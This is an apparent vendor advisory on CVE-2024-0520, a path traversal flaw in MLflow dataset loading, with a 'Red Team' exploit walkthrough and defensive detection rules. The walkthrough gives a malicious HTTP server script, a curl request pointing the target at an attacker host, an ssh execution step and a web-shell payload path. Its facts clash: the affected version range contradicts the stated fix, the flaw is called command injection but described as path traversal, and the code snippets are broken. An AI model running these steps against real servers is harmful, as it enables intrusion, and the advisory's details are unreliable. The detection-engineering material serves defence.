CVE-2024-0520
Executive Summary
CVE-2024-0520 is a critical remote code execution (RCE) vulnerability in MLflow version 8.2.1 (and earlier versions up to 2.9.0). The flaw resides in the mlflow.data.http_dataset_source.py module, where improper neutralization of special elements used in an OS command (Command Injection) allows an attacker to control the file path when loading a dataset from an HTTP source. By crafting a malicious URL with path traversal sequences (e.g., ../../tmp/poc.txt) or absolute paths (e.g., /tmp/poc.txt), an attacker can write arbitrary files to the filesystem. This can lead to command execution, data exfiltration, and model theft. The vulnerability has a CVSS score of 10.0 (Critical) and is publicly known with proof-of-concept (PoC) code available. The vendor has released a fix in version 2.9.0.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
MLflow is a Python package available on PyPI. Organizations using MLflow should immediately verify their installed version and update to 2.9.0 or later. The vulnerability can be exploited by any unauthenticated attacker who can send HTTP requests to an MLflow server, making it a significant supply chain risk for machine learning pipelines.
CVSS Breakdown & Threat Level
- CVSS Score: 10.0 (Critical)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
The maximum CVSS score reflects the ease of exploitation and the severe impact on confidentiality, integrity, and availability. An unauthenticated attacker can remotely execute arbitrary commands without any user interaction.
Deep Dive & Mechanics
The vulnerability is in the mlflow.data.http_dataset_source.py module. When MLflow loads a dataset from an HTTP URL, it extracts the filename from the Content-Disposition header or the URL path. This filename is then used to construct the final file path on the server. The code does not sanitize the filename for path traversal characters (e.g., ../) or absolute path components (e.g., /tmp/). An attacker can craft a URL like:
http://attacker.com/../../tmp/evil.sh
or
http://attacker.com/%2Ftmp%2Fevil.sh
When MLflow processes this URL, it writes the file to the attacker-controlled path. If the attacker can write a file to a location that is executed by the system (e.g., a cron job, a web shell, or a startup script), they can achieve remote code execution.
The exploitation flow:
- Attacker sends a request to MLflow to load a dataset from a malicious HTTP server.
- The malicious server responds with a
Content-Dispositionheader containing a path traversal payload. - MLflow uses the unsanitized filename to write the dataset content to the attacker-specified path.
- The attacker then triggers execution of the written file (e.g., by accessing a web shell or waiting for a scheduled task).
Vulnerable vs. Patched Code
Vulnerable Code (version 8.2.1):
# mlflow/data/http_dataset_source.py
def _get_filename_from_url(url):
# Extract filename from Content-Disposition header or URL path
# No sanitization is performed
return filename
Patched Code (version 2.9.0):
# mlflow/data/http_dataset_source.py
import os
def _get_safe_filename(url):
# Extract filename and sanitize it
filename = _extract_filename(url)
# Remove path traversal and absolute path components
safe_filename = os.path.basename(filename)
return safe_filename
The patch uses os.path.basename() to strip any directory components from the filename, ensuring only the final file name is used. This prevents path traversal and absolute path injection.
Exploitation & Lab Setup
Red Team
Prerequisites:
- MLflow server running version < 2.9.0
- Network access to the MLflow server
- A controlled HTTP server to serve malicious responses
Exploitation Steps:
Set up a malicious HTTP server that responds with a crafted
Content-Dispositionheader:# malicious_server.py from http.server import HTTPServer, BaseHTTPRequestHandler class MaliciousHandler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header('Content-Disposition', 'attachment; filename="../../tmp/evil.sh"') self.end_headers() self.wfile.write(b'#!/bin/bash\necho "PWNED" > /tmp/pwned.txt') server = HTTPServer(('0.0.0.0', 9999), MaliciousHandler) server.serve_forever()Send a request to the MLflow server to load a dataset from the malicious URL:
curl -X POST "http://target-mlflow:5000/api/2.0/mlflow/datasets/import" \ -H "Content-Type: application/json" \ -d '{"url": "http://attacker:9999/evil.sh"}'The file
evil.shis written to/tmp/evil.shon the target server.Execute the script (e.g., via SSH or another vulnerability):
ssh user@target "bash /tmp/evil.sh"
Alternative Payload: Write a web shell to the MLflow web root:
Content-Disposition: attachment; filename="../../mlflow/server/static/shell.jsp"
Blue Team
Detection Steps:
- Monitor for unusual HTTP requests to MLflow dataset import endpoints.
- Check for files written to unexpected locations (e.g.,
/tmp,/var/www,/etc). - Review MLflow logs for filenames containing path traversal sequences (
../,..\\, absolute paths). - Verify MLflow version and apply the patch immediately.
Honeypot Setup:
- Deploy a decoy MLflow server with logging enabled.
- Monitor for requests containing path traversal patterns in the dataset URL.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to MLflow dataset import endpoints with URLs containing
../or absolute paths. - Outbound connections from MLflow server to unknown IPs on port 80/443 (malicious HTTP server).
- HTTP requests to MLflow dataset import endpoints with URLs containing
- File System IOCs:
- Unexpected files in
/tmp,/var/tmp, or web-accessible directories. - Files with names containing path traversal characters in MLflow data directories.
- Unexpected files in
- Log IOCs:
- MLflow logs showing filenames like
../../tmp/evil.shor/tmp/evil.sh.
- MLflow logs showing filenames like
- Process IOCs:
- Unusual processes spawned from MLflow (e.g.,
bash,python,curl).
- Unusual processes spawned from MLflow (e.g.,
Detection Engineering
YARA Rule
rule CVE_2024_0520_MLflow_RCE {
meta:
description = "Detects path traversal attempts in MLflow dataset URLs"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-0520"
strings:
$path_traversal1 = "../" ascii wide nocase
$path_traversal2 = "..\\" ascii wide nocase
$absolute_path1 = "/tmp/" ascii wide nocase
$absolute_path2 = "/var/" ascii wide nocase
$absolute_path3 = "/etc/" ascii wide nocase
$mlflow_endpoint = "/api/2.0/mlflow/datasets/import" ascii wide nocase
condition:
$mlflow_endpoint and any of ($path_traversal*) or any of ($absolute_path*)
}
Sigma Rule
title: CVE-2024-0520 MLflow Dataset Path Traversal
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal attempts in MLflow dataset import requests
author: Valters IT
date: 2024-01-01
logsource:
category: webserver
product: mlflow
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/api/2.0/mlflow/datasets/import'
cs-uri-query|contains:
- '../'
- '..\\'
- '/tmp/'
- '/var/'
- '/etc/'
condition: selection
falsepositives:
- Legitimate use of absolute paths in dataset URLs (rare)
level: critical
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-0520 MLflow Dataset Path Traversal"; flow:to_server; content:"POST"; http_method; content:"/api/2.0/mlflow/datasets/import"; http_uri; content:"../"; distance:0; within:10; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade MLflow to version 2.9.0 or later.
- Restrict network access to the MLflow server (firewall rules, VPN).
- Implement input validation for all dataset URLs (allowlist of trusted sources).
- Monitor logs for path traversal patterns.
Long-term Mitigations:
- Use a Web Application Firewall (WAF) to block path traversal attempts.
- Apply the principle of least privilege to the MLflow service account.
- Regularly audit MLflow configurations and dependencies.
- Implement file integrity monitoring (FIM) on critical directories.
Patch Verification:
pip show mlflow | grep Version
# Should return 2.9.0 or higher
Valters IT
DevSecOps & Cyber Threat Intelligence Expert